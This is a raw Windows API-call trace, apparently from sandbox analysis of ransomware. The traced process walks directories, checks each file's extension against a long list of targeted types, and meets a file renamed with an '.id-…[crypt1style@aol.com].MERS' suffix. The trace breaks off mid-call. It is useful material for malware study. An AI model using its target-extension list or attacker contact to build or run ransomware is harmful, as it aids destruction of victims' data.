[0257.812] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".c") returned 2 [0257.812] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0257.812] lstrlenW (lpString=".cdr") returned 4 [0257.812] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".cer") returned 4 [0257.812] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".cf") returned 3 [0257.812] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0257.812] lstrlenW (lpString=".cfc") returned 4 [0257.812] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".cfm") returned 4 [0257.812] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".cfml") returned 5 [0257.812] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0257.812] lstrlenW (lpString=".cfu") returned 4 [0257.812] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".chm") returned 4 [0257.812] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".cin") returned 4 [0257.812] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0257.812] lstrlenW (lpString=".class") returned 6 [0257.812] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0257.812] lstrlenW (lpString=".clx") returned 4 [0257.812] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".config") returned 7 [0257.813] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0257.813] lstrlenW (lpString=".cpp") returned 4 [0257.813] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".cr2") returned 4 [0257.813] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".crt") returned 4 [0257.813] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".crw") returned 4 [0257.813] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".cs") returned 3 [0257.813] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0257.813] lstrlenW (lpString=".css") returned 4 [0257.813] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".csv") returned 4 [0257.813] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".cub") returned 4 [0257.813] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".dae") returned 4 [0257.813] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".dat") returned 4 [0257.813] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".db") returned 3 [0257.813] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0257.813] lstrlenW (lpString=".dbf") returned 4 [0257.813] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".dbx") returned 4 [0257.813] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".dc3") returned 4 [0257.813] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".dcm") returned 4 [0257.813] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".dcr") returned 4 [0257.813] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0257.813] lstrlenW (lpString=".der") returned 4 [0257.813] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dib") returned 4 [0257.814] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dic") returned 4 [0257.814] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dif") returned 4 [0257.814] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".divx") returned 5 [0257.814] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0257.814] lstrlenW (lpString=".djvu") returned 5 [0257.814] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0257.814] lstrlenW (lpString=".dng") returned 4 [0257.814] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".doc") returned 4 [0257.814] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".docm") returned 5 [0257.814] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0257.814] lstrlenW (lpString=".docx") returned 5 [0257.814] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0257.814] lstrlenW (lpString=".dot") returned 4 [0257.814] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dotm") returned 5 [0257.814] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0257.814] lstrlenW (lpString=".dotx") returned 5 [0257.814] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0257.814] lstrlenW (lpString=".dpx") returned 4 [0257.814] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dqy") returned 4 [0257.814] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dsn") returned 4 [0257.814] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dt") returned 3 [0257.814] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0257.814] lstrlenW (lpString=".dtd") returned 4 [0257.814] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dwg") returned 4 [0257.814] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0257.814] lstrlenW (lpString=".dwt") returned 4 [0257.815] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".dx") returned 3 [0257.815] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0257.815] lstrlenW (lpString=".dxf") returned 4 [0257.815] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".edml") returned 5 [0257.815] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0257.815] lstrlenW (lpString=".efd") returned 4 [0257.815] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".elf") returned 4 [0257.815] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".emf") returned 4 [0257.815] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".emz") returned 4 [0257.815] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".epf") returned 4 [0257.815] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".eps") returned 4 [0257.815] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".epsf") returned 5 [0257.815] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0257.815] lstrlenW (lpString=".epsp") returned 5 [0257.815] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0257.815] lstrlenW (lpString=".erf") returned 4 [0257.815] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".exr") returned 4 [0257.815] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".f4v") returned 4 [0257.815] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".fido") returned 5 [0257.815] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0257.815] lstrlenW (lpString=".flm") returned 4 [0257.815] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".flv") returned 4 [0257.815] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0257.815] lstrlenW (lpString=".frm") returned 4 [0257.816] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".fxg") returned 4 [0257.816] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".geo") returned 4 [0257.816] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".gif") returned 4 [0257.816] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".grs") returned 4 [0257.816] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".gz") returned 3 [0257.816] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0257.816] lstrlenW (lpString=".h") returned 2 [0257.816] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0257.816] lstrlenW (lpString=".hdr") returned 4 [0257.816] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".hpp") returned 4 [0257.816] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".hta") returned 4 [0257.816] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".htc") returned 4 [0257.816] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".htm") returned 4 [0257.816] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".html") returned 5 [0257.816] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0257.816] lstrlenW (lpString=".icb") returned 4 [0257.816] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".ics") returned 4 [0257.816] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".iff") returned 4 [0257.816] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".inc") returned 4 [0257.816] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0257.816] lstrlenW (lpString=".indd") returned 5 [0257.816] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0257.816] lstrlenW (lpString=".ini") returned 4 [0257.816] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0257.816] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b1bbad0, ftCreationTime.dwHighDateTime=0x1d50335, ftLastAccessTime.dwLowDateTime=0x8b1bbad0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8b1e1c30, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS", cAlternateFileName="DESKTO~1.MER")) returned 1 [0257.817] lstrlenW (lpString="desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS") returned 50 [0257.817] lstrlenW (lpString=".1cd") returned 4 [0257.817] lstrcmpiW (lpString1=".1cd", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".3ds") returned 4 [0257.817] lstrcmpiW (lpString1=".3ds", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".3fr") returned 4 [0257.817] lstrcmpiW (lpString1=".3fr", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".3g2") returned 4 [0257.817] lstrcmpiW (lpString1=".3g2", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".3gp") returned 4 [0257.817] lstrcmpiW (lpString1=".3gp", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".7z") returned 3 [0257.817] lstrcmpiW (lpString1=".7z", lpString2="ERS") returned -1 [0257.817] lstrlenW (lpString=".accda") returned 6 [0257.817] lstrcmpiW (lpString1=".accda", lpString2="].MERS") returned -1 [0257.817] lstrlenW (lpString=".accdb") returned 6 [0257.817] lstrcmpiW (lpString1=".accdb", lpString2="].MERS") returned -1 [0257.817] lstrlenW (lpString=".accdc") returned 6 [0257.817] lstrcmpiW (lpString1=".accdc", lpString2="].MERS") returned -1 [0257.817] lstrlenW (lpString=".accde") returned 6 [0257.817] lstrcmpiW (lpString1=".accde", lpString2="].MERS") returned -1 [0257.817] lstrlenW (lpString=".accdt") returned 6 [0257.817] lstrcmpiW (lpString1=".accdt", lpString2="].MERS") returned -1 [0257.817] lstrlenW (lpString=".accdw") returned 6 [0257.817] lstrcmpiW (lpString1=".accdw", lpString2="].MERS") returned -1 [0257.817] lstrlenW (lpString=".adb") returned 4 [0257.817] lstrcmpiW (lpString1=".adb", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".adp") returned 4 [0257.817] lstrcmpiW (lpString1=".adp", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".ai") returned 3 [0257.817] lstrcmpiW (lpString1=".ai", lpString2="ERS") returned -1 [0257.817] lstrlenW (lpString=".ai3") returned 4 [0257.817] lstrcmpiW (lpString1=".ai3", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".ai4") returned 4 [0257.817] lstrcmpiW (lpString1=".ai4", lpString2="MERS") returned -1 [0257.817] lstrlenW (lpString=".ai5") returned 4 [0257.818] lstrcmpiW (lpString1=".ai5", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".ai6") returned 4 [0257.818] lstrcmpiW (lpString1=".ai6", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".ai7") returned 4 [0257.818] lstrcmpiW (lpString1=".ai7", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".ai8") returned 4 [0257.818] lstrcmpiW (lpString1=".ai8", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".anim") returned 5 [0257.818] lstrcmpiW (lpString1=".anim", lpString2=".MERS") returned -1 [0257.818] lstrlenW (lpString=".arw") returned 4 [0257.818] lstrcmpiW (lpString1=".arw", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".as") returned 3 [0257.818] lstrcmpiW (lpString1=".as", lpString2="ERS") returned -1 [0257.818] lstrlenW (lpString=".asa") returned 4 [0257.818] lstrcmpiW (lpString1=".asa", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".asc") returned 4 [0257.818] lstrcmpiW (lpString1=".asc", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".ascx") returned 5 [0257.818] lstrcmpiW (lpString1=".ascx", lpString2=".MERS") returned -1 [0257.818] lstrlenW (lpString=".asm") returned 4 [0257.818] lstrcmpiW (lpString1=".asm", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".asmx") returned 5 [0257.818] lstrcmpiW (lpString1=".asmx", lpString2=".MERS") returned -1 [0257.818] lstrlenW (lpString=".asp") returned 4 [0257.818] lstrcmpiW (lpString1=".asp", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".aspx") returned 5 [0257.818] lstrcmpiW (lpString1=".aspx", lpString2=".MERS") returned -1 [0257.818] lstrlenW (lpString=".asr") returned 4 [0257.818] lstrcmpiW (lpString1=".asr", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".asx") returned 4 [0257.818] lstrcmpiW (lpString1=".asx", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".avi") returned 4 [0257.818] lstrcmpiW (lpString1=".avi", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".avs") returned 4 [0257.818] lstrcmpiW (lpString1=".avs", lpString2="MERS") returned -1 [0257.818] lstrlenW (lpString=".backup") returned 7 [0257.818] lstrcmpiW (lpString1=".backup", lpString2="m].MERS") returned -1 [0257.819] lstrlenW (lpString=".bak") returned 4 [0257.819] lstrcmpiW (lpString1=".bak", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".bay") returned 4 [0257.819] lstrcmpiW (lpString1=".bay", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".bd") returned 3 [0257.819] lstrcmpiW (lpString1=".bd", lpString2="ERS") returned -1 [0257.819] lstrlenW (lpString=".bin") returned 4 [0257.819] lstrcmpiW (lpString1=".bin", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".bmp") returned 4 [0257.819] lstrcmpiW (lpString1=".bmp", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".bz2") returned 4 [0257.819] lstrcmpiW (lpString1=".bz2", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".c") returned 2 [0257.819] lstrcmpiW (lpString1=".c", lpString2="RS") returned -1 [0257.819] lstrlenW (lpString=".cdr") returned 4 [0257.819] lstrcmpiW (lpString1=".cdr", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".cer") returned 4 [0257.819] lstrcmpiW (lpString1=".cer", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".cf") returned 3 [0257.819] lstrcmpiW (lpString1=".cf", lpString2="ERS") returned -1 [0257.819] lstrlenW (lpString=".cfc") returned 4 [0257.819] lstrcmpiW (lpString1=".cfc", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".cfm") returned 4 [0257.819] lstrcmpiW (lpString1=".cfm", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".cfml") returned 5 [0257.819] lstrcmpiW (lpString1=".cfml", lpString2=".MERS") returned -1 [0257.819] lstrlenW (lpString=".cfu") returned 4 [0257.819] lstrcmpiW (lpString1=".cfu", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".chm") returned 4 [0257.819] lstrcmpiW (lpString1=".chm", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".cin") returned 4 [0257.819] lstrcmpiW (lpString1=".cin", lpString2="MERS") returned -1 [0257.819] lstrlenW (lpString=".class") returned 6 [0257.819] lstrcmpiW (lpString1=".class", lpString2="].MERS") returned -1 [0257.819] lstrlenW (lpString=".clx") returned 4 [0257.820] lstrcmpiW (lpString1=".clx", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".config") returned 7 [0257.820] lstrcmpiW (lpString1=".config", lpString2="m].MERS") returned -1 [0257.820] lstrlenW (lpString=".cpp") returned 4 [0257.820] lstrcmpiW (lpString1=".cpp", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".cr2") returned 4 [0257.820] lstrcmpiW (lpString1=".cr2", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".crt") returned 4 [0257.820] lstrcmpiW (lpString1=".crt", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".crw") returned 4 [0257.820] lstrcmpiW (lpString1=".crw", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".cs") returned 3 [0257.820] lstrcmpiW (lpString1=".cs", lpString2="ERS") returned -1 [0257.820] lstrlenW (lpString=".css") returned 4 [0257.820] lstrcmpiW (lpString1=".css", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".csv") returned 4 [0257.820] lstrcmpiW (lpString1=".csv", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".cub") returned 4 [0257.820] lstrcmpiW (lpString1=".cub", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".dae") returned 4 [0257.820] lstrcmpiW (lpString1=".dae", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".dat") returned 4 [0257.820] lstrcmpiW (lpString1=".dat", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".db") returned 3 [0257.820] lstrcmpiW (lpString1=".db", lpString2="ERS") returned -1 [0257.820] lstrlenW (lpString=".dbf") returned 4 [0257.820] lstrcmpiW (lpString1=".dbf", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".dbx") returned 4 [0257.820] lstrcmpiW (lpString1=".dbx", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".dc3") returned 4 [0257.820] lstrcmpiW (lpString1=".dc3", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".dcm") returned 4 [0257.820] lstrcmpiW (lpString1=".dcm", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".dcr") returned 4 [0257.820] lstrcmpiW (lpString1=".dcr", lpString2="MERS") returned -1 [0257.820] lstrlenW (lpString=".der") returned 4 [0257.820] lstrcmpiW (lpString1=".der", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dib") returned 4 [0257.821] lstrcmpiW (lpString1=".dib", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dic") returned 4 [0257.821] lstrcmpiW (lpString1=".dic", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dif") returned 4 [0257.821] lstrcmpiW (lpString1=".dif", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".divx") returned 5 [0257.821] lstrcmpiW (lpString1=".divx", lpString2=".MERS") returned -1 [0257.821] lstrlenW (lpString=".djvu") returned 5 [0257.821] lstrcmpiW (lpString1=".djvu", lpString2=".MERS") returned -1 [0257.821] lstrlenW (lpString=".dng") returned 4 [0257.821] lstrcmpiW (lpString1=".dng", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".doc") returned 4 [0257.821] lstrcmpiW (lpString1=".doc", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".docm") returned 5 [0257.821] lstrcmpiW (lpString1=".docm", lpString2=".MERS") returned -1 [0257.821] lstrlenW (lpString=".docx") returned 5 [0257.821] lstrcmpiW (lpString1=".docx", lpString2=".MERS") returned -1 [0257.821] lstrlenW (lpString=".dot") returned 4 [0257.821] lstrcmpiW (lpString1=".dot", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dotm") returned 5 [0257.821] lstrcmpiW (lpString1=".dotm", lpString2=".MERS") returned -1 [0257.821] lstrlenW (lpString=".dotx") returned 5 [0257.821] lstrcmpiW (lpString1=".dotx", lpString2=".MERS") returned -1 [0257.821] lstrlenW (lpString=".dpx") returned 4 [0257.821] lstrcmpiW (lpString1=".dpx", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dqy") returned 4 [0257.821] lstrcmpiW (lpString1=".dqy", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dsn") returned 4 [0257.821] lstrcmpiW (lpString1=".dsn", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dt") returned 3 [0257.821] lstrcmpiW (lpString1=".dt", lpString2="ERS") returned -1 [0257.821] lstrlenW (lpString=".dtd") returned 4 [0257.821] lstrcmpiW (lpString1=".dtd", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dwg") returned 4 [0257.821] lstrcmpiW (lpString1=".dwg", lpString2="MERS") returned -1 [0257.821] lstrlenW (lpString=".dwt") returned 4 [0257.822] lstrcmpiW (lpString1=".dwt", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".dx") returned 3 [0257.822] lstrcmpiW (lpString1=".dx", lpString2="ERS") returned -1 [0257.822] lstrlenW (lpString=".dxf") returned 4 [0257.822] lstrcmpiW (lpString1=".dxf", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".edml") returned 5 [0257.822] lstrcmpiW (lpString1=".edml", lpString2=".MERS") returned -1 [0257.822] lstrlenW (lpString=".efd") returned 4 [0257.822] lstrcmpiW (lpString1=".efd", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".elf") returned 4 [0257.822] lstrcmpiW (lpString1=".elf", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".emf") returned 4 [0257.822] lstrcmpiW (lpString1=".emf", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".emz") returned 4 [0257.822] lstrcmpiW (lpString1=".emz", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".epf") returned 4 [0257.822] lstrcmpiW (lpString1=".epf", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".eps") returned 4 [0257.822] lstrcmpiW (lpString1=".eps", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".epsf") returned 5 [0257.822] lstrcmpiW (lpString1=".epsf", lpString2=".MERS") returned -1 [0257.822] lstrlenW (lpString=".epsp") returned 5 [0257.822] lstrcmpiW (lpString1=".epsp", lpString2=".MERS") returned -1 [0257.822] lstrlenW (lpString=".erf") returned 4 [0257.822] lstrcmpiW (lpString1=".erf", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".exr") returned 4 [0257.822] lstrcmpiW (lpString1=".exr", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".f4v") returned 4 [0257.822] lstrcmpiW (lpString1=".f4v", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".fido") returned 5 [0257.822] lstrcmpiW (lpString1=".fido", lpString2=".MERS") returned -1 [0257.822] lstrlenW (lpString=".flm") returned 4 [0257.822] lstrcmpiW (lpString1=".flm", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".flv") returned 4 [0257.822] lstrcmpiW (lpString1=".flv", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".frm") returned 4 [0257.822] lstrcmpiW (lpString1=".frm", lpString2="MERS") returned -1 [0257.822] lstrlenW (lpString=".fxg") returned 4 [0257.823] lstrcmpiW (lpString1=".fxg", lpString2="MERS") returned -1 [0257.823] lstrlenW (lpString=".geo") returned 4 [0257.823] lstrcmpiW (lpString1=".geo", lpString2="MERS") returned -1 [0257.823] lstrlenW (lpString=".gif") returned 4 [0257.823] lstrcmpiW (lpString1=".gif", lpString2="MERS") returned -1 [0257.823] lstrlenW (lpString=".grs") returned 4 [0257.823] lstrcmpiW (lpString1=".grs", lpString2="MERS") returned -1 [0257.888] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.888] FindNextFileW (in: hFindFile=0x63edc8, lpFindFileData=0x372f808 | out: lpFindFileData=0x372f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0258.073] FindNextFileW (in: hFindFile=0x63ef48, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x372f1f4, cFileName="..", cAlternateFileName="")) returned 1 [0258.073] FindNextFileW (in: hFindFile=0x63ef48, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e7e2f50, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8e7e2f50, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x372f1f4, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0258.073] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x46141a8 [0258.073] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8e7e2f50, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8e7e2f50, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63ef88 [0258.122] FindNextFileW (in: hFindFile=0x63ef88, lpFindFileData=0x372ee18 | out: 